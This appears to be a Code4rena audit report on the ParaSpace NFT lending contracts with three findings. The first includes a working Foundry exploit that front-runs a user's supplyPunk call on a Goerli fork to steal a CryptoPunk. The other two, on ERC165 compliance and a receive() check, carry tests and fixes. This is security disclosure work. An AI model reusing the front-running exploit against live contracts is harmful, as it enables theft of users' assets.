ParaSpace contest - KingNFT's results

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/ui/WPunkGateway.sol#L83

Vulnerability details

Impact

The supplyPunk() function is missing to verify parameter onBehalfOf, a attacker can exploit it to steal punks that other users are preparing to supply.

    function supplyPunk(
        DataTypes.ERC721SupplyParams[] calldata punkIndexes,
        address onBehalfOf,
        uint16 referralCode
    ) external nonReentrant {
        for (uint256 i = 0; i < punkIndexes.length; i++) {
            Punk.buyPunk(punkIndexes[i].tokenId); // @audit front running attack
            Punk.transferPunk(proxy, punkIndexes[i].tokenId);
            // gatewayProxy is the sender of this function, not the original gateway
            WPunk.mint(punkIndexes[i].tokenId);
        }

        Pool.supplyERC721(
            address(WPunk),
            punkIndexes,
            onBehalfOf,
            referralCode
        );
    }

Proof of Concept

To supply a punk to Paraspace system, the current implemention requires 2 steps: <1> Users call offerPunkForSaleToAddress() function of PUNKS:0x536646A39c477b4B35eE0f9434228C3B3450F353 https://github.com/larvalabs/cryptopunks/blob/11532167fa705ced569fc3206df0484f9027e1ee/contracts/CryptoPunksMarket.sol#L148

    function offerPunkForSaleToAddress(uint punkIndex, uint minSalePriceInWei, address toAddress) {
        if (!allPunksAssigned) throw;
        if (punkIndexToAddress[punkIndex] != msg.sender) throw;
        if (punkIndex >= 10000) throw;
        punksOfferedForSale[punkIndex] = Offer(true, punkIndex, msg.sender, minSalePriceInWei, toAddress);
        PunkOffered(punkIndex, minSalePriceInWei, toAddress);
    }

to only allow WPunkGatewayProxy:0x87140023db96E6A8BC37aF4C6D1C66c886C709d6 to buyPunk() with 0 cost.

<2> Users call supplyPunk() function of WPunkGatewayProxy:0x87140023db96E6A8BC37aF4C6D1C66c886C709d6 to complete the supply.

Due to lack of security check of step 2, an attacker can front running it to steal punk.

Take an example on the goerli network The user 0x7da0814cbFFA587a0C47C0fd2354c55513c359E9 call offerPunkForSaleToAddress on block height 8083976 with tx: https://goerli.etherscan.io/tx/0xccca8a6d5c74af3f8fb0a2d5100ee4b36546c0ba617519d01963bf810623cb4f

And call supplyPunk() on block height 8090688 with tx https://goerli.etherscan.io/tx/0xf862be9794fdb037b7711f2d1601b9c43ee4814746162e0689876c6543e8c29a.

The following test case shows an attacker steals the punk on block height 80906887.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../contracts/interfaces/IPoolMarketplace.sol";
import {IERC20} from "../contracts/dependencies/openzeppelin/contracts/IERC20.sol";
import {IERC721} from "../contracts/dependencies/openzeppelin/contracts/IERC721.sol";
import {DataTypes} from "../contracts/protocol/libraries/types/DataTypes.sol";
import {IProtocolDataProvider} from "../contracts/interfaces/IProtocolDataProvider.sol";
import {IWPunkGateway} from "../contracts/ui/interfaces/IWPunkGateway.sol";


contract StealPunk is Test {
    uint256 activeFork;
    address protocolDataProvider = 0x60E6a0D3c09e4303299AA5B8087007D3414DeC0c;
    address wPunkGatewayProxy = 0x87140023db96E6A8BC37aF4C6D1C66c886C709d6;
    address poolProxy = 0x3b3D2f3E8127B9f03D0eD7CAE09C938071503955;
    address victim = 0x7da0814cbFFA587a0C47C0fd2354c55513c359E9;
    address attacker = address(uint160(0x1234));
    address wPunks = 0x97dA2a33298550348a9155E7e55b4187101a7f0c;
    address nWPunks;

    function setUp() public virtual {
        activeFork = vm.createSelectFork("https://rpc.ankr.com/eth_goerli", 8090687);
        (nWPunks,) = IProtocolDataProvider(protocolDataProvider).getReserveTokensAddresses(wPunks);
    }

    function testStealPunk () public {
        IWPunkGateway gateway = IWPunkGateway(wPunkGatewayProxy);
        DataTypes.ERC721SupplyParams[] memory supplyParams = new DataTypes.ERC721SupplyParams[](1);
        supplyParams[0] = DataTypes.ERC721SupplyParams(9186, true);
        vm.prank(attacker);
        gateway.supplyPunk(supplyParams, attacker, 0);

        uint256[] memory punkIndexes = new uint256[](1);
        punkIndexes[0] = 9186;
        vm.startPrank(attacker);
        IERC721(nWPunks).setApprovalForAll(wPunkGatewayProxy, true);
        gateway.withdrawPunk(punkIndexes, attacker);
    }
}

The test case result

Running 1 test for foundry_test/StealPunk.t.sol:StealPunk
[PASS] testStealPunk() (gas: 687264)
Test result: ok. 1 passed; 0 failed; finished in 814.79ms

How to run the test case

git submodule add  -f  -- "https://github.com/foundry-rs/forge-std" "paraspace-core/foundry_libs/forge-std"
git submodule add  -f  -- "https://github.com/dapphub/ds-test.git" "paraspace-core/foundry_libs/ds-test"
cd ./paraspace-core
forge test --match-test testStealPunk -v

Tools Used

Foundry

Recommended Mitigation Steps

Verify the onBehalfOf parameter should be same with seller of the punk order.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/tokenization/base/MintableIncentivizedERC721.sol#L572-L582

Vulnerability details

Impact

The supportsInterface() in MintableIncentivizedERC721.sol is not implemented as ERC165 required, other contracts that follow the standard such as openzeppelin lib will fail to interact with the system.

Proof of Concept

Vulnerability point

function supportsInterface(bytes4 interfaceId)
    // ...
{
    return  // @audit missing: interfaceId == type(IERC165).interfaceId ||
        interfaceId == type(IERC721Enumerable).interfaceId ||
        interfaceId == type(IERC721Metadata).interfaceId;
}

Related ERC165 requirement https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md#how-to-detect-if-a-contract-implements-erc-165

### How to Detect if a Contract Implements ERC-165

1. The source contract makes a `STATICCALL` to the destination address with input data: `0x01ffc9a701ffc9a700000000000000000000000000000000000000000000000000000000` 
and gas 30,000. This corresponds to `contract.supportsInterface(0x01ffc9a7)`.
2. If the call fails or return false, the destination contract does not implement ERC-165.
3. If the call returns true, a second call is made with input data `0x01ffc9a7ffffffff00000000000000000000000000000000000000000000000000000000`.
4. If the second call fails or returns true, the destination contract does not implement ERC-165.
5. Otherwise it implements ERC-165.

Implementation of openzeppelin https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165Checker.sol

function supportsERC165(address account) internal view returns (bool) {
    // Any contract that implements ERC165 must explicitly indicate support of
    // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid
    return
        supportsERC165InterfaceUnchecked(account, type(IERC165).interfaceId) &&
        !supportsERC165InterfaceUnchecked(account, _INTERFACE_ID_INVALID);
}

Tools Used

VS Code

Recommended Mitigation Steps

function supportsInterface(bytes4 interfaceId)
    // ...
{
    return  interfaceId == type(IERC165).interfaceId ||  // @audit fix
        interfaceId == type(IERC721Enumerable).interfaceId ||
        interfaceId == type(IERC721Metadata).interfaceId;
}

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/pool/PoolCore.sol#L802-L808

Vulnerability details

Impact

There is a security check in fallback() of PoolCore.sol for preventing ETH directly sent to pool, but due to the ParaProxy contract doesn't delegate fallback call to PoolCore contract, so the security check is not working.

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/pool/PoolCore.sol#L802-L808

    receive() external payable {
        require(
            msg.sender ==
                address(IPoolAddressesProvider(ADDRESSES_PROVIDER).getWETH()),
            "Receive not allowed"
        );
    }

Proof of Concept

The following test case shows pool can receive ETH directly from normal users

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import {IPoolCore} from "../contracts/interfaces/IPoolCore.sol";


contract FallbackSecurityCheckNotWorking is Test {
    uint256 activeFork;
    address poolProxy = 0x3b3D2f3E8127B9f03D0eD7CAE09C938071503955;

    function setUp() public virtual {
        activeFork = vm.createSelectFork("https://rpc.ankr.com/eth_goerli", 8101590);
    }

    function testFallbackSecurityCheckNotWorking () public {
        IPoolCore pool = IPoolCore(poolProxy);
        uint256 balanceBefore = address(pool).balance;
        (bool success,) = address(pool).call{value: 1}("");
        assertEq(success, true);
        uint256 balanceAfter = address(pool).balance;
        assertEq(balanceAfter - balanceBefore, 1);
    }
}

Test result

Running 1 test for foundry_test/FallbackSecurityCheckNotWorking.t.sol:FallbackSecurityCheckNotWorking
[PASS] testFallbackSecurityCheckNotWorking() (gas: 12175)
Test result: ok. 1 passed; 0 failed; finished in 998.10ms

How to run the test case

git submodule add  -f  -- "https://github.com/foundry-rs/forge-std" "paraspace-core/foundry_libs/forge-std"
git submodule add  -f  -- "https://github.com/dapphub/ds-test.git" "paraspace-core/foundry_libs/ds-test"
cd ./paraspace-core
forge test --match-test testFallbackSecurityCheckNotWorking -v

Tools Used

Foundry

Recommended Mitigation Steps

Make ParaProxy contract delegate fallback call to ParaCore contract.